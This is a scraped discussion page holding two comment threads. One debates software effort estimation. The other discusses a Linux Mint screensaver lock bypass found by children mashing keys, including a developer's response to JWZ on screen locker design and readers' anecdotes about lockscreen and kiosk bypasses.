fphilipe(10000) 5 days ago [-]

Great anecdote posted here a few years ago: https://www.quora.com/Why-are-software-development-task-esti...

kthejoker2(10000) 5 days ago [-]

I'm such an optimist! I multiply by 2.2.

tobyhinloopen(10000) 5 days ago [-]

I feel like I can get pretty good estimates on the following conditions:

- the application is thoroughly specced. You might need WEEKS for this. - all variables are taken care of. Stack is known, and you've experience with all parts involved. If you don't, get familiar with the parts first. Again, might take weeks. - there is no implicit functionality. It is either explicit or not included. - there are clear boundaries and rules to prevent feature creep. - you cannot estimate an estimate - all designs and UX are final

Now the problem is, this estimate is really expensive, because it's actual work. It takes about 10-25% of the total project time to estimate the project.

commandlinefan(10000) 5 days ago [-]

> the application is thoroughly specced. You might need WEEKS for this

More weeks than it will end up taking to build the finished product, in fact.

Kaze404(10000) 5 days ago [-]

I had a conversation about estimates during a recent interview. I asked about how the company deals with those, and the interviewer said they don't do estimates because there's never been a time where something productive came out of one, and I think it makes sense.

In my experience, when an estimate is spot on the world goes on as if nothing happened. When it's incorrect, all hell breaks loose and it's every man for himself. And at the end of the day, all of the blame ends up on the person who guessed wrong. I'm glad I don't have to deal with that anymore.

snidane(10000) 5 days ago [-]

When a company uses software estimation, it suggests strong distrust towards the software people and is looking for justification of those huge costs. Most often it means some shitshow happened or is still going on in there.

ChrisMarshallNY(10000) 5 days ago [-]

I find this amusing.

Know how much a Honda Accord costs?

About 25 Grand.

Know how much a Mercedes S450 costs?

About three times as much.

They are both great cars, that will be rewarding to own.

The Mercedes doesn't have 3 times more parts, but it probably took four times longer to make, and they paid the folks that make it, a lot more than the Honda. It's actually, probably better 'bang for the buck,' although it won't seem like it, on the surface.

The reason is that all those little things that go into high quality take lots of time.

I can write a pretty complete app that does some cool stuff in a day or two. I do it often, when I write test harnesses for my libraries and whatnot.

However, if you want that app to be ship quality, and highly usable, you're looking at over a month.

The thing is, many folks would consider my test harness lash-ups to be their 'shipping' product, and will use that as a basis for estimation.

darkerside(10000) 5 days ago [-]

Your base assumption seems to include that quality is valuable for its own sake. I don't totally disagree, but I'm wary of assigning value based on effort rather than output.

Depending on why you are buying a car, the Accord is very likely much better bang for the buck than the S-class Mercedes. And depending on the situation, the prototype is often better value than the shippable product.

mekoka(10000) 5 days ago [-]

> It's actually, probably better 'bang for the buck,' although it won't seem like it, on the surface.

A car's primary function is to move its passengers from point A to point B, safely and timely. Both cars do this very well, but the Mercedes will probably be costlier over their respective lifetime (fuel, parts, service).

The only way for it to be a better bang for buck would be to turn its secondary functions (comfort, prestige, signalling) into a primary tool. For instance, if a broker or salesperson finds that owning the car gives them the added confidence to project the image they want during negotiations and thus contributes to their overall success, then it becomes a worthy investment.

RicoElectrico(10000) 5 days ago [-]

We should not conflate quality with value. [1]

[1] https://moznainaczej.com.pl/Download/Teal%20Doctrine/A.Blikl... (13.10 Quality and value)

winrid(10000) 5 days ago [-]

High quality != high feature count. You are conflating the two with your anology.

You don't want to daily drive a 30 year old performance oriented Mercedes.

An Accord however, most generations can hit 300k miles easily.

The Mercedes is more expensive because they put more investement into refinement and luxury. Make the doors feel right. Ensure the torque curve is flat and starts at a low RPM, usually using turbo chargers that will fail by 200k miles. Lots of carefully placed sound deadening.

This isn't higher quality, it's extra features.

maerF0x0(10000) 5 days ago [-]

> but it probably took four times longer to make,

I doubt it. Luxury goods don't proportionately more cost much more to produce than commodity goods.

Instead they often derive their value from perceptions and exclusivity. That is people perceive the object to be more value for their own reasons, or they are made more expensive as a proof point of exclusivity / conspicuous consumption

https://en.wikipedia.org/wiki/Conspicuous_consumption

someguydave(10000) 5 days ago [-]

My experience is that most customers are unwilling to wait for and pay for quality, especially if someone in the market sells a competing product (which itself is of low quality)

rietta(10000) 5 days ago [-]

I've been in this business long enough to know that point estimates are always wrong. A proper estimate is a range with a confidence interval. When forced to do a fixed bid, you have to raise the price even higher to the upper end of the cone of uncertainty.

laichzeit0(10000) 5 days ago [-]

This agrees with my experience as well. Stop giving point estimates.

kfk(10000) 5 days ago [-]

At least in a business setting I think the whole concept of a project needs serious reconsideration. We end up more often than not trying to fit developing a digital product into an enormously stupid gantt chart to execute some poorly thought "business requirements". I prefer to talk products and not projects, I deliver the full thing including "growth" as adoption doesn't come "if you build it" even within a Company setting. If you are building a product you can also get closer to those with the real problem willing to fund you with real budgets. On top of everything else if you are making users happy they will not chase you on fake estimates but rather work with you to get stuff done.

snidane(10000) 5 days ago [-]

Funny when you look at the actual definition of a project straight from PMP.

'a temporary endeavor undertaken to create a unique project service or result.'

No 'projects' in software fhat I know of are actually temporary. They only end when management fires the people behind them, it gets cut off or there is no adoption.

We in software think of projects really as things which we create and which need maintenance in order to live. There is never some 'end' to it.

Because it doesn't even conform to its own definitions, we could therefore conclude that the whole PMP project management discipline, as applied to software, is a scam.

wyldfire(10000) 5 days ago [-]

How do other disciplines estimate NRE? Do they have the same problems with missed predictions?

ghaff(10000) 5 days ago [-]

Sure. A lawyer may have a pretty good idea of how a particular task or case is likely to play out but there's a lot that isn't under their control. I imagine something like drafting a will is relatively straightforward but I also imagine a criminal case has a huge number of variables.

alkonaut(10000) 5 days ago [-]

You only quote the fixed bits and charge by the hour for the rest. If you need to give a quote for an unknown you multiply the quote by N to cover a worst case.

solumos(10000) 5 days ago [-]

Well, lawyers take a retainer. Doctors are paid per-diagnostic-visit and per-procedure. Accountants bill hourly. Most professions have this - electricians, plumbers, locksmiths, etc.

This business model is normalized for other professions, and it should be for software engineering too. As a profession, we should move more towards partnering with organizations to realize business value through software rather than being simple 'feature factories' (see also: Developer Hegemony[0]).

[0] https://daedtech.com/developer-hegemony-the-crazy-idea-that-...

csours(10000) 5 days ago [-]

'Estimates' are for things you've done before - like you can estimate building a house, because people have built houses before. The more like an existing house, the better you can estimate it.

Software is invention and construction. The construction part is pretty easy to estimate. The invention part is ... very very hard. I'd like to say it's impossible. I'd like to see the software industry use a different word than estimate.

chaz72(10000) 5 days ago [-]

Yes! I try to always phrase it as 'the part I can see from here will take at least X time'.

Netcob(10000) 5 days ago [-]

Very true, I think those estimates are actually two ideas/types crammed into one value.

1. The construction part, as you said, can be estimated.

2. I'd just call the other thing 'allocated time' instead of 'estimated time'.

Any time someone asks me how long it will take me to fix a bug that I haven't really looked at yet, or to plan some new feature or something like that, and they badly need a number, I ask them how much time I should allocate to that. I can't promise to have something like that done by that time, but it gives us both an idea about how to treat that problem.

For example, we could allocate two hours to fix a bug, with the understanding that if that turns out to not be enough then we'll need to talk about workarounds. Or we can allocate two days to plan a new feature, and the best solution we can think of in that time shall be the one we use.

Ericson2314(10000) 5 days ago [-]

Yes, and if you find yourself getting better at estimation, that's probably because you have failed to build proper abstractions. With proper abstractions, the cost of the same stuff should be minimal, so the part with no good priors predominates.

Const-me(10000) 5 days ago [-]

I mostly agree, but for research, estimating the estimation is often good enough in practice.

For me it often something like this:

I don't have a clue how the hell to do what you asking for. But maybe implementing .. might help. Can't guarantee but it might. I think I can confirm or disprove that spending .. on the prototype subject to following limitations.. If then we find out it actually works for you, we'll go from there but approximately gonna take .. extra to rework the prototype into production-quality stuff. If it won't, I'll think about something else to try.

a_wild_dandan(10000) 5 days ago [-]

You've perfectly nailed the fundamental issue here.

For many software projects, you simply cannot make meaningful granular estimations for parts of them. It doesn't matter how many story-point poker sessions you hold. Some software work cannot be reduced to a positive integer. In our business scopes creep, bugs plague us, and myriad issues make precise estimations pointless. It's engineering Numberwang.

I get that folks want to tame a chaotic world. But sometimes you can't. And the software engineering field in particular feels wildly neurotic about pretending otherwise. Sometimes I imagine applying our project management tools to other technical fields and laugh at how insane we must look.

btbuildem(10000) 5 days ago [-]

I'd beg to differ. There is very little invention going on. Most software solutions tackle well-known problems, customized to a particular business need. Akin to building a house, but with specific owner requirements (three-car garage, etc).

It gets a little complicated partly because of the industry's penchant for reinventing its tools on a rolling basis. In the trades, technology remains largely unchanged over decades, and only truly useful new advances are integrated into workflows (for example, laser level vs plumb bob or spirit level).

In software, new technological approaches are adopted on a continuous basis, and so a lot of effort is spent on learning how to solve old problems with new tools.

riazrizvi(10000) 5 days ago [-]

Yes. So you can more accurately estimate replicating components you've written before, eg another database client, but estimating new software is a successive sequence of uncertainty reduction. The first pass being highly intuitive, the second pass, with more of the details worked out, less so... until you've completed the first working version, and you can finally say in hindsight, it actually took this long.

kylecordes(10000) 5 days ago [-]

Sometimes a request for an "estimate" is really a request for a promise, quotation, a guarantee that something will be delivered by X time or cost.

It's easy to detect this:

Gently begin a discussion of how much uncertainty is tolerable, do they want to know the number we are 50% likely to hit? 80%?

If you get emotional pushback to discussing uncertainty, they are looking for a promise.

xpe(10000) 5 days ago [-]

Yes, many of us are too likely to interpret the word 'estimate' at face value. It is a wonderful idea to view this instead as only a starting point -- an information-gathering conversation -- as how to provide your customer or other stake-holders what they need.

If you are some combination of lucky, influential, and persuasive, you might have some ability to shape the contours of their expectations. :)

didibus(10000) 5 days ago [-]

The issue with estimates are expectations. While nobody acknowledges it, you're not actually asked for an estimate, you're being asked for a quote.

The difference is when you're asked for a quote, you're asked how much you will be charging, with the expectations that you'll be willing to eat into your own margins to give a lower quote. That's why it's a negotiation, where you negotiate how much extra effort, time and headcount you're willing to give, how much tech dept you're willing to take, etc., for the privilege of getting their business.

If you see it for what it really is, you'll see that it works pretty well actually. The business gets more out of you for less to them. It was never about having an accurate timeline or helping with planning or prioritizing, and always about negotiating a better contract with the dev team.

Now keep in mind that the 'business' in this case is a person who need to report that through their amazing prowess of administration and management, they personally managed to get X feature out during their last review cycle at Y cost with impact Z. This person will not need to deal with developer satisfaction, retention and performance. They will not need to deal with the impact the lower margins they pushed for had on the next feature delivery, or the continued maintainance of the systems. And if the dev team had to lower the quality too much in order to meet the quote they put out, that will be 100% their fault, the 'business' will know not to use them for their next contract, or they'll expect the dev team to take on fixing all the issues at their own expense once more.

swiftcoder(10000) 5 days ago [-]

And of course once the dev team realises that their 'estimates' are actually being treated as quotes, and that their ability to find time to vacation, sleep, or even see their families will be contingent on their quote being sufficiently padded...

Now you have a recipe for a highly adversarial relationship between management and engineering throughout the planning and development process.

quickthrower2(10000) 5 days ago [-]

That is the degenerate scenario, but it's not always true.

Often I see this haggling down of estimates and then microagression if estimates are not met but no need to work for free to make up for it.

And I've also seen wise use of estimation but that is rarer!

ohthehugemanate(10000) 5 days ago [-]

This is only true when estimates are in concrete units, the way we did it in the 80s and 90s. Unfortunately that still impacts contract structure today and it's hard to change on that level.

TFA is talking about estimates inside projects, which are not time based anymore in any environment that cares about the problems you laid out.

Personally I offer my customers to either pay by the week, or pay by extremely fixed scope with a 3 month definition period up front and a 50% buffer above the estimate. I stress that paying by the sprint lets them change objectives at any time, gives them an always-current report of how much 'effort budget' they have left to work with, and guarantees they only pay for what they use. That felt like a risky move the first time I did it, but I never lost any business over it.

stiray(10000) 5 days ago [-]

I have noticed this article during the 'Parkinson's law of triviality'[1] meeting (within phase where technical guys are typically silent) and almost started laughing when someone asked about 'over the thumb effort estimates' (that are always becoming carved into rock deadlines).

It really made my day :)

[1] https://en.wikipedia.org/wiki/Law_of_triviality

JamesBarney(10000) 5 days ago [-]

I don't really understand what type of environment you're talking about.

Some parts seems to hint the devs are an outside consulting shop, and some parts hint that the devs are on an internal team.

Most internal teams can blow through dev deadlines over and over again for years without any real repercussions. And while outside dev shops can't blow through estimates like internal teams the individual devs usually can unless they're in a leadership role.

daanlo(10000) 5 days ago [-]

Software doesn't exist in a vacuum. The marketing team needs to know when the landing page / qr code (whatever) is implemented, because they need to plan their marketing budget. The customer care agent that gets shouted at because feature xyz is broken / not working as the customer expects, would like to give the customer an answer when it will be fixed. The customer care manager is also worried about her team members' retention.

So having a rough or concrete time line / roadmap is helpful for these parts of the business.

I also believe that a feature request is incomplete without an estimate. It is like a friend asking you to go buy him a car. What does he need a 3000$ subaru from 2003 or a 2021 Ferrari? Of course the friend can give you an insanely accurate list of specifications, but giving you a budget + some guidelines will probably be more effective for your friend and more fun for you. Especially considering that you know much more about cars (read software) than your friend. Knowing the budget you will be able to make much better choices.

If you take the allegory of a quote (which I think is correct) then you need to consider that the haggling process always also includes scope of the product. „I'll give you 5000$ for the car, but only if you include a free car wash". And you can always use an estimate as defense against feature creep. „We are running low on budget, I suggest descoping xyz into the next iteration. Otherwise we won't be able to ship on time". If on time is not defined then you can never have this conversation.

bjoernbu(10000) 5 days ago [-]

There may be a lot of uncerntainty in Data Science and ML projects. However, recently I started feeling like I actually have it better than someone from pure software engineering sides of things:

For either, there is often a function from time spent to quality. 100% perfection is basically impossible and before that the function increases very slowly, seemlingly logarithmicly.

For SWE, expectations are often close perfect solutions. Too greedy effort estimations cause a lot of trouble. For DS/ML, however, perfect is usually off the table and this fact is widely (not universally though) accepted. When it is accepted to give estimates in this way, suddenly there no harm from being quoted on it and I really don't mind to give estimates anymore, where I just make a guess at a good 80/20 point. If I am wrong with that point, chances are nobody on the outside/higher up ever knows.

This may be different in domains where very clear targets have to be met (e.g., 'self driving cars that pass lawmaker's requirements for use on the streets') and then I'd guess it is a true nightmare.

Like this, I never felt overly pressured by ML/DS deadlines over the last years. Some things were great successes, sometimes the quality wasn't great enough and projects were stopped or customers left. But there never really was a case where anyone thought that working extra long might have been an option to meet higher expectations.

I don't really have a solution for SWE, I don't really see how one would sell something like 'I can do it in X time and it will only crash / stop working / make mistakes / become too slow / have vulnerabilities so often. More time will lead to fewer problems'. This just isn't what's expected. But at least for complex systems and security vulnerabilities, I'd argue it is actually quite true. Guarantees for 100% perfection just aren't realistic. Avoiding the most obvious pitfalls is done rather quickly and the more time spend, the more is needed for further improvements.

snarf21(10000) 5 days ago [-]

The issue is that you are being asked to estimate something that has never been done before. Even houses always go over time and money and that is fairly straight forward.

These days, I only give estimates in terms of units but without numbers. Hours, days, weeks, months, quarters or years. Some relatively small number of those units. If you want a quote it will take an extra 1/4 of the estimate worth of time for an exact timeline. I really wish we would treat sales people the same way. 'How much money is this contract for? What date will it be signed?'

koonsolo(10000) 5 days ago [-]

I once had a manager that thought he could negotiate estimates. That is like negotiating with the weatherman about the weather. Sure, maybe in the end you can convince them it will be finished sooner. But the fact is that it really doesn't change reality.

xyzelement(10000) 5 days ago [-]

I never experienced the dynamic you are talking about. Sounds like your workplace is terrible.

I've almost always had business partners that were just that - partners - invested in the product and the team long term. I am the same way now that I am 'the business.'

Estimation is a useful forcing exercise for thinking through what something takes, identifying risks and hard parts and deciding upfront what to do about them.

It also becomes a good measure of people's integrity - what they do once it's apparent the estimate is off. 100% of the time, when engineering came back saying 'we underestimated X, it's much harder' - it was totally fine.

parentheses(10000) 5 days ago [-]

Agreed that often times estimates are mistaken for quotes. Aside from that, my personal experience has been that those who work adjacent to software understands that there's an element of uncertainty. If those that we work with don't, it is on us to educate. Improving estimation will eventually improve quality of life for all involved.

rswail(10000) 5 days ago [-]

I call it the 'What's the earliest date you can't prove you won't be finished by?' management question.

franzwong(10000) 5 days ago [-]

In my previous company, we needed to put project code into timesheet for every activity. Of course, requirement gathering is also an activity. However, before you get the budget, you don't have the project code. Also, you can't get the budget before you have the estimate. It means I needed to give an estimate before I know what system I am going to build.

valenterry(10000) 5 days ago [-]

How about getting a budget to do an estimation/PoC/prototype for a project?





Historical Discussions: Kids find a security flaw in Linux Mint by mashing keys (January 20, 2021: 774 points)
Screensaver lock by-pass via the virtual keyboard (January 16, 2021: 2 points)

(775) Kids find a security flaw in Linux Mint by mashing keys

775 points 4 days ago by subins2000 in 10000th position

github.com | Estimated reading time – 10 minutes | comments | anchor

The two articles are cute and pretty accurate.

The blog post from JWZ is bitter, not constructive and contains some nonsense.

We were expecting it. You don't go telling people I told you so for 20 years and then not catch the opportunity to do it once more when it happens again. And it did happen again, yes, so enjoy the moment. Let's have one more I-told-you-so moment, if it can help us react even more and make things better for 5.0, let's embrace it.

If you are not running XScreenSaver on Linux, then it is safe to assume that your screen does not lock.

No. As mentioned above KDE has a distinct locker and so has light-locker, so no, XScreensaver isn't the only design which is safe from library/toolkit crashes.

You will recall that in 2004, which is now seventeen years ago, I wrote a document explaining why I made the design trade-offs that I did in XScreenSaver, and in that document I predicted this exact bug as my example of, 'this is what will happen if you don't do it this way.'

He did indeed and that design choice made a lot of sense. It provided a higher level of safety though he didn't address the needs people had.

JWZ' message of wisdom needs to be more pragmatic if it wants to be heard and taken seriously. If I tell you 'don't go out of your house, you'll die' and come to your funerals 17 years later to tell your friends I had told you so, well, sure, I'll have a point but who cares? People want to play with knives, go out of their house, drive cars fast on highways and go across the street. Telling them it's inherently unsafe just misses the point if that's what they want to do. People want a pretty lock screen, they do. So let's work on that.

I wish JWZ had thought about a design that combined safety and a rich greeter, because at the time it would have provided a solution along with the warning. Instead the warning was lost because the provided solution did not address the need. And by the time we had solutions, the warning had been mostly dismissed because it wasn't pragmatic.

Looking at light-locker and KDE they seem to have gone further than JWZ's reflexion and provided a solution to the actual user's need while keeping the promise of safety.

When we first saw and shipped light-locker this didn't hit us, because we had already replaced xscreensaver with alternatives (gnome-scrensaver and mate-screensaver at the time), i.e. we had already accepted the security risk to address the need that was left vacant. By the time we saw the likes of light-locker, that warning was mostly forgotten about. It's true, and it's a pity.

When cinnamon-screensaver was written it was replacing gnome-screensaver, and again it didn't have that warning in mind because at the time we hadn't thought of doing what light-locker did, and doing what xscrensaver did (i.e. going toolkitless) simply wasn't acceptable.

And they went and made that happen. Repeatedly.

True, they did, and we did right now. Because they had to. JWZ misses the point on this. You can't ask people to not do what they want to do and what they expect to be able to do. If they want to cross the road, you'll need to make it safe for them to do so. And you know what? It will never be as safe as NOT crossing the road. Having some wise guy telling them NEVER TO doesn't help, at all.

Every time this bug is re-introduced, someone pipes up and says something like, 'So what, it was a bug, they've fixed it.' That's really missing the point. The point is not that such a bug existed, but that such a bug was even possible. The real bug here is that the design of the system even permits this class of bug. It is unconscionable that someone designing a critical piece of security infrastructure would design the system in such a way that it does not fail safe.

I can see where JWZ is coming from. Though I'd like to point out GNOME rewrote their solution from scratch (I've no idea what design they used by the way), and so did we. I'm not sure these GNOME devs are the same as before and we certainly aren't. We are indeed making mistakes people did before us, and we did fix that bug pretty fast and patted ourselves on the back when it was done, but I don't think you can say we're satisfied and calling it 'job done'. This immediately makes us think as how we can prevent it from happening again, we have that separation of greeter/locker on our roadmap and it is very much planned to go ahead for 5.0.

An incendiary blog post and all the social media hype that goes with it will certainly help in making us care even more, but the mere fact that this happened in our code (this is OUR code right now, not just gnome-screensaver or something from upstream we'd just ship) and with our design is enough to make us want to review it.

Especially when I have given them nearly 30 years of prior art demonstrating how to do it right, and a two-decades-old document clearly explaining What Not To Do that coincidentally used this very bug as its illustrative strawman!

Xscreensaver didn't do it right. Not crossing the street isn't the safest way to cross the street.

He exposed an issue, he didn't give a solution. There is a need which is not addressed here, there is a danger which is, there is a solution which has been given by other projects, not xscreensaver. It will need to be properly audited, but to me light-locker and KDE seem to have the best solution at the moment both in terms of safety and in terms of features.

This same bug keeps cropping up in these other screen lockers for several reasons.

Writing security-critical code is hard. Most people can't do it.
Locking and authentication is an OS-level problem. And while X11 is at the heart of the OS of a Linux desktop computer, it was designed with no security to speak of, and so lockers have to run as normal, unprivileged, user-level applications. That makes the problem even harder.
This mistake of the X11 architecture can never, ever be fixed. X11 is too old, too ossified, and has too many quagmire-trapped stakeholders to ever make any meaningful changes to it again. That's why people keep trying to replace X11 -- and failing, because it's too entrenched. 

As always, these bugs are terrible because bad security is worse than no security. If you knew for a fact that your screen didn't lock, you would behave appropriately. Maybe you'd log out when you walked away. Maybe you wouldn't use that computer for certain things. But a security placebo makes you behave as if it's secure when in fact it is not.

I absolutely agree with all of this.

One of the infuriating parts of these recurring bugs is that the screen-locker part of XScreenSaver isn't even the fun part! I do not enjoy working on it. I never have. I added it in response to demand and necessity, not because it sounded like a good time.

I can understand this. I hate working on security myself, I think most of us do. We love doing cool things with technology not restrict ourselves because a few people abuse everything they can and ruin the party if we don't force ourselves to think of every little way they can use A or B against other people.

Sigh.

Xscreensaver has been a great project. We've been shipping it for a while and it made users happy at the time. It's also the codebase for its fork gnome-screensaver, which people have been using for years. So as a project we owe it a lot. The design choices its dev made were inspirational also because they explained the danger of relying on libs and toolkits in something like a locker, which had to be as crashsafe as possible. It failed in providing a solution to a need people had though while continuing to address that danger.

I'll go even further. What JWZ did in xscreensaver is the source to a key principle we use very often (although it's hard because people kinda push us the other way). We try to not implement features we don't need and not rely on libs/toolkits if we don't have to.

With that said, I have on message for JWZ. Don't be that guy. It's too easy to just tell people no to cross the street. Work with us on building that safest path. I would enjoy an audit of light-locker from you much more than a stupid I-told-u-so blog post. Don't be bitter, be part of the solution.

Mint-screensaver and Cinnamon-screensaver, being forks and descendants of Gnome-screensaver, have inherited this license violation and continue to perpetuate it. Every Linux distro is shipping this copyright- and license-infringing code.

  • mint-screensaver does not (and never did) exist.
  • cinnamon-screensaver is written from scratch.
  • gnome-screensaver is discontinued.
  • mate-screensaver was forked from gnome-screensaver and is still active, so maybe that one has a licensing issue?? I don't know.
  • xfce-screensaver was forked from mate-screensaver afaik... so maybe here as well. We use light-locker in Xfce so I'm not really sure.
  • Not every distro is shipping mate-screensaver or xfce-screensaver, no.
  • These copyright and license infringements have to be explained more in details. I'd suggest to contact interested parties (MATE and Xfce projects) directly.

I eagerly await hearing how they're going to make this right.

Writing a spiteful blog post about a non-related topic isn't the best way to get answers. How about contacting Xfce and MATE directly?

If you contact me JWZ, I tell you what I'd like. I'd like you to put your money where your mouth is and be as brilliant as you once were. I want you to use your expertise to audit the design of light-locker and the minimalistic locker KDE uses (https://github.com/KDE/kscreenlocker/blob/master/abstractlocker.cpp). I want you to come at us again in 6 months time when we've split our greeter away from our locker and get you to say 'no, it's still not enough.. cause of A and B', or 'ah yes, that's cool.. that's both a good looking greeter and a safe locker'.

We also wear the distro hat and we also ship mate-screensaver and xfce-screensaver. If there is indeed a licensing issue, let's see how it unfolds with interested parties. We won't be judges in this, I'm sure you can have a talk with them. On our side we can continue to ship these screensavers or simply replace them with light-locker.




All Comments: [-] | anchor

mightybyte(10000) 4 days ago [-]

Years ago I taught a high school typing class in a K-12 school. The school didn't have the funds to get a commercial typing program so I wrote my own typing program. It evolved over time with features to help me track the students' progress etc. One day we had a school open house where all the parents could come to school. We had a bunch of different activities set up in different classrooms and I ended up getting assigned to the 3rd grade classroom to set up my typing program so anyone coming through could test their typing speed. It was a DOS program and I didn't want people using anything other than my typing program, so I modified it so you couldn't quit the typing program. Over the course of the day the 3rd graders were hanging out in their homeroom not really doing anything productive. Of course the computer was a novel attraction and they were just smashing keys and exploring my program's UI. Eventually at one point I noticed that they had somehow crashed my program with a segfault in what had otherwise become a pretty stable piece of software. To this day I have absolutely no idea what the bug was.

BruiseLee(10000) 4 days ago [-]

Are you sure it was a segfault? DOS did not have any memory protection, so segfault would be impossible. Or maybe you used some protected mode DOS extender?

rexpop(10000) 4 days ago [-]

> The school didn't have the funds to get a commercial typing program so I wrote my own typing program.

Off-topic, but:

It seems absurd, to me, that such a conclusion could ever be reached. Obviously, from my perspective, the economies of scale, the infrastructure, overhead, and institutional resources available to programmers at a dedicated software development firm would produce an application at better quality per dollar (however you measure it) than a high school teacher in their off-hours. To me it seems that it's certainly not cheaper for us as a society, as a species, and only appears so because you are under-paid. If you were paid your actual worth, the school would say 'we don't have the funds to develop this in-house, and had to buy a commercial typing program off-the-shelf, despite its loose fit for our use case.'

How can we, as rational members of society, abide this?

WhompingWindows(10000) 4 days ago [-]

Is there an automated process security researchers use like this? Just mashes random buttons for hours until it finds vulnerabilities?

viro(10000) 4 days ago [-]

The concept of fuzzing is similar...ish

diegoperini(10000) 4 days ago [-]

Step 1: Gather timings of key presses from a lot of kids.

2: Use ML to learn how to simulate it.

3: Sell it as a service, labeling it KaaS.

4: Profit, then go to jail because of a misunderstanding.

But seriously, is there such a tool to automate this?

rusk(10000) 4 days ago [-]

As others have pointed out, you are describing fuzzing but rather than purely random you've trained your fuzzer on a particularly troublesome set of random variables ;-)

PartiallyTyped(10000) 4 days ago [-]

There's also model based testing and property based testing. QuickTest in Haskell and Erlang can generate test cases for your code.

bjoli(10000) 4 days ago [-]

I have been using the name monkey-testing for this kind of testing for as long as I can remember. There are tools to automate it.

segfaultbuserr(10000) 4 days ago [-]

People have been fuzzing user interfaces since the 80s. It was used for developing MacPaint and MacWrite in Apple's original Macintosh. Quote Wikipedia:

> In 1983, Steve Capps at Apple developed 'The Monkey', a tool that would generate random inputs for classic Mac OS applications, such as MacPaint [0]. The figurative 'monkey' refers to the infinite monkey theorem which states that a monkey hitting keys at random on a typewriter keyboard for an infinite amount of time will eventually type out the entire works of Shakespeare. In the case of testing, the monkey would write the particular sequence of inputs that will trigger a crash.

Read the story here:

https://www.folklore.org/StoryView.py?story=Monkey_Lives.txt

martin-adams(10000) 4 days ago [-]

This reminds me of when I was about 14. I had a Tamagotchi which I had for a record amount of time. My niece, about 2 at the time wanted to see it so let her hold it. Within 1/2 a second, she squeezed both buttons at the same time and crashed it.

My daughter managed to buy 24 hours of football pass with NowTV by pressing the same button repeatedly on the remote within about 5 seconds.

So a crash like this doesn't surprise me.

_puk(10000) 4 days ago [-]

Hah, just reminded me..

My daughter, whilst roaming in the US from the EU somehow managed to get unlimited data after her initial miserly roaming allowance was used up.. simply by switching airplane mode on and off repeatedly until data worked.

I was stressing getting back home to a huge bill, but kept the 'all chargeable services have been stopped' messages just in case.

My final bill was £300+, zeroed.

Phew!

josefx(10000) 4 days ago [-]

> Within 1/2 a second, she squeezed both buttons at the same time and crashed it.

That was probably not a crash, on some that did a partial reset.

gambiting(10000) 4 days ago [-]

Does anyone know why lockscreens in Linux have been such a joke? I remember trying Ubuntu couple years ago and when waking up my laptop it would show me my entire desktop with all the information displayed right there in the open for about 10-20 seconds before suddenly engaging the lockscreen. All you had to do was close the lid and open it again and you could just copy whatever was on the screen before the lock screen appeared. I guess it's because the lockscreen was a separate process that had to start up? Still, what an awful awful design.

Illniyar(10000) 4 days ago [-]

This happens to me regularly with macOS too, so perhaps it's harder then you imagine.

monopoledance(10000) 4 days ago [-]

In the past I also had some information leaks with an Nvidia discrete graphics card, which seemed to not clear its RAM or something. I think it even persisted over restarts or similar complete session terminations. So I assume, driver issues may play into this too.

astrange(10000) 4 days ago [-]

Bad design in X11 which can't be fixed.

https://news.ycombinator.com/item?id=25801693

anthk(10000) 4 days ago [-]

Slock is good.

bionade24(10000) 4 days ago [-]

Because X11 is such a joke. The problem is solved by wlroots and layer-shell, other Wayland compositors probably have similar things. Swaylock works 100%ly reliable until now (For me). I had problems with every other X11 screenlocker I used in the past. My unusual setup with a docking station and two monitors on it often caused crazy bugs.

Edit: For me stuff

globular-toast(10000) 4 days ago [-]

I've seen Windows do that too. It's not just Linux.

My guess is that these lock screens are all bolted on afterwards rather than being in the design from the ground up.

3np(10000) 4 days ago [-]

slock has never surprised or disappointed me.

Kelamir(10000) 4 days ago [-]

I use i3lock, no such issues with it.

minxomat(10000) 4 days ago [-]

Still happening on Linux mint for me.

f1refly(10000) 4 days ago [-]

For x lockscreens this is solved by making sure the lock launches _before_ the system is suspended, I'm not sure how many distros do it like that though.

josephg(10000) 4 days ago [-]

Can anyone explain why a crash in xscreensaver results in the computer being unlocked?

It seems like this whole class of bugs could be fixed pretty easily by having a simple process watchdog run xscreensaver as a child process, and re-launch it if it crashes without first signalling that the desktop has been unlocked.

smolder(10000) 4 days ago [-]

I don't dispute the bad design, but FYI, there was also a very recent exploit for accessing bitlocker drives on Windows without login credentials, making use of accessibility features on the lockscreen.

pojntfx(10000) 4 days ago [-]

X11 problem. Wayland fixes that and is the default on Fedora etc. as of 2021.

stelf(10000) 4 days ago [-]

Time to make a joke about Windows lock screens? Or perhaps not...

tauntz(10000) 4 days ago [-]

Mi kid got around the lock screen of my mac. Twice.

It was 4-5 years ago when he was about 2. I had a 15+ character random password (a generated one including symbols etc) so the chances of him being lucky were rather slim. He was just mashing button on the lock screen for less than a minute when boom, I was suddenly signed in. The first time I thought it was a fluke. Then it happened again after a couple of months. After that I took my phone, sat him behind my computer and started to record him playing with the buttons but it never happened again and my hopes of getting a bug bounty from Apple vanished :(

apexalpha(10000) 4 days ago [-]

Perhaps it was related to this bug: https://www.wired.com/story/macos-high-sierra-hack-root/

matsemann(10000) 4 days ago [-]

Probably just hit enter when the password field was empty. For some reason that bypassed all security on OS X.

thomasmg(10000) 4 days ago [-]

My kid (3 years old then) found an issue in the MacOS lock screen as well. It didn't result in a bypass, but a 'Spinning Beach Ball of Death'. I could then reproduce it and even filed an issue, but only I could reproduce (and one funny response was: 'Why would you want a screen shot of the screen sleeping? It would just be black.' - well tell that to my kid): https://discussions.apple.com/thread/7598463

bjoli(10000) 4 days ago [-]

My 4 year old son manages to beach-ball the big sur lock screen about twice a week. It has resulted in lost work more than once.

On the previous version I believe he managed to unlock the computer as well, just by hammering the keyboard.

slim(10000) 4 days ago [-]

my kid got around a locked cash box yesterday. it's amazing how much security is tied to ingrained behavioural patterns

herpderperator(10000) 4 days ago [-]

In middle school long ago, I was using one of the library search computers. They ran Windows XP and were locked down to the point where you couldn't open anything except the software that was running and you had no access to the desktop. One day I was rapidly mashing the 'Search' button in the native book-searching software they were using - for no reason at all - and it suddenly opened an Explorer window out of nowhere showing everything in the filesystem. I could reproduce it easily with rapid-enough clicks. I still have no idea why that happened.

Haemm0r(10000) 4 days ago [-]

Classic thing was to write file:///C:\ (or something similar, I do not remember it anymore) on computers with only kiosk mode IE on them to access the local file system. :)

Hoboburger(10000) 4 days ago [-]

Oh man this brings back so much nostalgia for the old school computer exploits we used to find.

Only approved programs software was supposed to run but you could actually run anything as long as the .exe was on the desktop.

7-zip would let you explore the entire network drive, including teachers folders that we didn't have access to.

